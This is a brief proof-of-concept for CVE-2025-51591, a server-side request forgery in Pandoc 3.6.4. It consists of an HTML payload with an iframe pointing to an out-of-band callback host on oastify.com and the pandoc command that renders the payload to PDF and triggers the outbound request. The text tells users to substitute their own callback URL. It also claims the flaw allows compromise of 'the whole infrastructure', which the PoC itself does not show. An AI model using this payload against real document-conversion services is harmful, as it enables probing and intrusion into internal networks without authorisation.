A Server-Side Request Forgery (SSRF) in JGM Pandoc v3.6.4 allows attackers to gain access to and compromise the whole infrastructure via injecting a crafted iframe.
⚠️ replace iframe url to your own OAST url.⚠️
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2025-51591 Proof Of Concept</title>
</head>
<body>
<h1>
CVE-2025-51591 Proof Of Concept
</h1>
<iframe src="http://h9rvkkqhe0tkmsaiqlhgm1yrvi19ped3.oastify.com/CVE-2025-51591" frameborder="0"></iframe>
</body>
</html>pandoc payload.html -o output1.pdf
